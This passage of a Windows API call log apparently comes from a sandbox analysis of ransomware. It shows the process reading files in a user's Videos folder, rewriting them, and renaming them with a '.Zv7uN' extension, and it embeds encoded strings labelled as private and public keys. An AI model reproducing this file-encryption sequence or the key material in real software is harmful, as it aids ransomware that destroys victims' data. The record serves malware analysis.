ftLastAccessTime.dwLowDateTime=0xede1890, ftLastAccessTime.dwHighDateTime=0x1d5e60c, ftLastWriteTime.dwLowDateTime=0xede1890, ftLastWriteTime.dwHighDateTime=0x1d5e60c, nFileSizeHigh=0x0, nFileSizeLow=0x164ec)) returned 1 [0087.201] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\DxP-tIBe7AmaJ6pj\\oXu8xlNDfHLVRyrz\\p-DCXOZdeMaVqNaXbUjy.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\dxp-tibe7amaj6pj\\oxu8xlndfhlvryrz\\p-dcxozdemavqnaxbujy.avi")) returned 0x20 [0087.201] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\DxP-tIBe7AmaJ6pj\\oXu8xlNDfHLVRyrz\\p-DCXOZdeMaVqNaXbUjy.avi", dwFileAttributes=0x80) returned 1 [0087.203] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0087.203] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1efff6c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0087.204] GetCurrentThreadId () returned 0xa30 [0087.204] GetCurrentThreadId () returned 0xa30 [0087.204] GetCurrentThreadId () returned 0xa30 [0087.204] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0087.204] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f10fcc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0087.205] GetCurrentThreadId () returned 0xa30 [0087.205] GetCurrentThreadId () returned 0xa30 [0087.205] GetCurrentThreadId () returned 0xa30 [0087.205] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\DxP-tIBe7AmaJ6pj\\oXu8xlNDfHLVRyrz\\p-DCXOZdeMaVqNaXbUjy.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\dxp-tibe7amaj6pj\\oxu8xlndfhlvryrz\\p-dcxozdemavqnaxbujy.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x104 [0087.205] SetFilePointer (in: hFile=0x104, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c8*=0) returned 0x0 [0087.205] SetFilePointer (in: hFile=0x104, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0087.205] SetFilePointer (in: hFile=0x104, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x164ec [0087.205] SetFilePointer (in: hFile=0x104, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0087.206] ReadFile (in: hFile=0x104, lpBuffer=0x1f18dd0, nNumberOfBytesToRead=0x164ec, lpNumberOfBytesRead=0x18f3d4, lpOverlapped=0x0 | out: lpBuffer=0x1f18dd0*, lpNumberOfBytesRead=0x18f3d4*=0x164ec, lpOverlapped=0x0) returned 1 [0087.208] CloseHandle (hObject=0x104) returned 1 [0087.210] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\DxP-tIBe7AmaJ6pj\\oXu8xlNDfHLVRyrz\\p-DCXOZdeMaVqNaXbUjy.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\dxp-tibe7amaj6pj\\oxu8xlndfhlvryrz\\p-dcxozdemavqnaxbujy.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x104 [0087.213] WriteFile (in: hFile=0x104, lpBuffer=0x1f30e00*, nNumberOfBytesToWrite=0x164ec, lpNumberOfBytesWritten=0x18f3e0, lpOverlapped=0x0 | out: lpBuffer=0x1f30e00*, lpNumberOfBytesWritten=0x18f3e0*=0x164ec, lpOverlapped=0x0) returned 1 [0087.218] CloseHandle (hObject=0x104) returned 1 [0087.220] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\DxP-tIBe7AmaJ6pj\\oXu8xlNDfHLVRyrz\\p-DCXOZdeMaVqNaXbUjy.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\dxp-tibe7amaj6pj\\oxu8xlndfhlvryrz\\p-dcxozdemavqnaxbujy.avi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\DxP-tIBe7AmaJ6pj\\oXu8xlNDfHLVRyrz\\p-DCXOZdeMaVqNaXbUjy.avi.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\dxp-tibe7amaj6pj\\oxu8xlndfhlvryrz\\p-dcxozdemavqnaxbujy.avi.zv7un")) returned 1 [0087.221] GetCurrentThreadId () returned 0xa30 [0087.221] GetCurrentThreadId () returned 0xa30 [0087.221] GetCurrentThreadId () returned 0xa30 [0087.221] GetCurrentThreadId () returned 0xa30 [0087.221] GetCurrentThreadId () returned 0xa30 [0087.221] GetCurrentThreadId () returned 0xa30 [0087.221] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x698ad1c0, ftCreationTime.dwHighDateTime=0x1d5dbd5, ftLastAccessTime.dwLowDateTime=0x2ed46420, ftLastAccessTime.dwHighDateTime=0x1d5ded1, ftLastWriteTime.dwLowDateTime=0x2ed46420, ftLastWriteTime.dwHighDateTime=0x1d5ded1, nFileSizeHigh=0x0, nFileSizeLow=0x184bd, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="tsgG.flv", cAlternateFileName="")) returned 1 [0087.221] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0087.221] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0087.221] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\DxP-tIBe7AmaJ6pj\\oXu8xlNDfHLVRyrz\\tsgG.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\dxp-tibe7amaj6pj\\oxu8xlndfhlvryrz\\tsgg.flv"), fInfoLevelId=0x0, lpFileInformation=0x18f414 | out: lpFileInformation=0x18f414*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x698ad1c0, ftCreationTime.dwHighDateTime=0x1d5dbd5, ftLastAccessTime.dwLowDateTime=0x2ed46420, ftLastAccessTime.dwHighDateTime=0x1d5ded1, ftLastWriteTime.dwLowDateTime=0x2ed46420, ftLastWriteTime.dwHighDateTime=0x1d5ded1, nFileSizeHigh=0x0, nFileSizeLow=0x184bd)) returned 1 [0087.221] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\DxP-tIBe7AmaJ6pj\\oXu8xlNDfHLVRyrz\\tsgG.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\dxp-tibe7amaj6pj\\oxu8xlndfhlvryrz\\tsgg.flv")) returned 0x20 [0087.221] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\DxP-tIBe7AmaJ6pj\\oXu8xlNDfHLVRyrz\\tsgG.flv", dwFileAttributes=0x80) returned 1 [0087.223] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO